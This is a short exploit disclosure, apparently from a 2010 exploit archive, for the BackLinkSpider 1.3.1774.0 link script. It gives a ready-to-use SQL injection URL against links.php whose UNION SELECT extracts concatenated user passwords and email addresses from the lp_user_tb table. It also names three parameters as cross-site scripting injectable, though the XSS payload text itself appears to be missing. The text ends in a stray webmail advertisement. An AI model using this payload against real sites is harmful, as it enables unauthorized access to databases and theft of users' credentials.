BackLinkSpider 1.3.1774.0 SQL Injection / Cross Site Scripting

`  
  
  
  
# Exploit Title: [ BackLinkSpider - (links.php) - [ SQL & XSS ] Injection Vulnerability ]  
# Date: [ 2010-05-27 ]  
# Author: [ sniper ip ]  
# Software Link: [ http://www.backlinkspider.com ]  
# Version: [ v 1.3.1774.0 ]  
# Tested on: [ ]  
# CVE : [if exists]  
  
  
Exploit :  
  
[ SQL ]  
  
http://site.com/links.php?cat_id=-1+UNION+SELECT+1,2,3,4,5,6,concat(password,0x3a,email),8,9,10,11,12,13,14,15,16,17,18,19,20+from+lp_user_tb--  
  
----------------------------------------------  
  
[ XSS ]  
  
http://site.com/links.php?cat_id=  
  
http://site.com/links.php?siteid=  
  
http://site.com/links.php?cat_id=1&cat_name=1   
_________________________________________________________________  
Your E-mail and More On-the-Go. Get Windows Live Hotmail Free.  
https://signup.live.com/signup.aspx?id=60969  
  
  
`